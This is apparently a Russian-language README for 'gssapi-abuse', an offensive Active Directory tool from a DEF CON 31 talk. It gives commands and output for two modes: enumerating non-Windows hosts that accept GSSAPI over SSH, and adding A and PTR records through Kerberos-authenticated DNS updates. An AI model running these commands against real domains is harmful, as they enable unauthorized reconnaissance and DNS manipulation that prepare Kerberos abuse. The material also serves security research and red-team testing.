
Инструмент для перечисления потенциальных хостов, которые подвержены эксплуатации GSSAPI в сетях Active Directory
gssapi-abuse был выпущен в рамках моего выступления на DEF CON 31. Полная статья о векторе атаки доступна здесь: Нерасторжимый брак: злоупотребление смешанными стеками Kerberos от разных вендоров
Инструмент имеет две функции. Первая — возможность перечислять хосты не под управлением Windows, которые присоединены к Active Directory и предлагают аутентификацию GSSAPI через SSH.
Вторая функция — возможность выполнять динамические обновления DNS для хостов, уязвимых для GSSAPI, которые не имеют правильных записей прямого и/или обратного DNS-поиска. Аутентификация на основе GSSAPI строга в отношении соответствия субъектам служб, поэтому записи DNS должны соответствовать имени субъекта службы как по имени хоста, так и по IP-адресу.
gssapi-abuse требует рабочего стека krb5 и правильно настроенного krb5.conf.
На хостах Windows необходимо установить программное обеспечение MIT Kerberos в дополнение к модулям Python, перечисленным в requirements.txt. Его можно получить на странице распространения MIT Kerberos. Файл Windows krb5.conf можно найти по пути C:\ProgramData\MIT\Kerberos5\krb5.conf
Перед установкой зависимостей Python необходимо установить пакет libkrb5-dev.
После выполнения требований вы можете установить зависимости Python с помощью инструмента pip/pip3
pip install -r requirements.txt
Режим перечисления подключается к Active Directory и выполняет поиск LDAP для всех компьютеров, у которых в атрибуте Operating System нет слова Windows.
После получения списка машин не под управлением Windows, gssapi-abuse попытается подключиться к каждому хосту по SSH и определить, разрешена ли аутентификация на основе GSSAPI.
python .\gssapi-abuse.py -d ad.ginge.com enum -u john.doe -p SuperSecret!
[=] Found 2 non Windows machines registered within AD
[!] Host ubuntu.ad.ginge.com does not have GSSAPI enabled over SSH, ignoring
[+] Host centos.ad.ginge.com has GSSAPI enabled over SSH
Режим DNS использует Kerberos и dnspython для выполнения аутентифицированного обновления DNS через порт 53 с использованием протокола DNS-TSIG. В настоящее время режим dns полагается на рабочую конфигурацию krb5 с действительным TGT или билетом службы DNS, указывающим на конкретный контроллер домена, например DNS/dc1.victim.local.
Добавление записи DNS A для хоста ahost.ad.ginge.com
python .\gssapi-abuse.py -d ad.ginge.com dns -t ahost -a add --type A --data 192.168.128.50
[+] Successfully authenticated to DNS server win-af8ki8e5414.ad.ginge.com
[=] Adding A record for target ahost using data 192.168.128.50
[+] Applied 1 updates successfully
Добавление обратной записи PTR для хоста ahost.ad.ginge.com. Обратите внимание, что аргумент data заканчивается точкой ., это важно, иначе запись станет относительной по отношению к зоне, чего мы не хотим. Также необходимо указать целевую зону для обновления, поскольку записи PTR хранятся в зонах, отличных от записей A.
python .\gssapi-abuse.py -d ad.ginge.com dns --zone 128.168.192.in-addr.arpa -t 50 -a add --type PTR --data ahost.ad.ginge.com.
[+] Successfully authenticated to DNS server win-af8ki8e5414.ad.ginge.com
[=] Adding PTR record for target 50 using data ahost.ad.ginge.com.
[+] Applied 1 updates successfully
Результаты прямого и обратного DNS-запроса после выполнения
nslookup ahost.ad.ginge.com
Server: WIN-AF8KI8E5414.ad.ginge.com
Address: 192.168.128.1
Name: ahost.ad.ginge.com
Address: 192.168.128.50
nslookup 192.168.128.50
Server: WIN-AF8KI8E5414.ad.ginge.com
Address: 192.168.128.1
Name: ahost.ad.ginge.com
Address: 192.168.128.50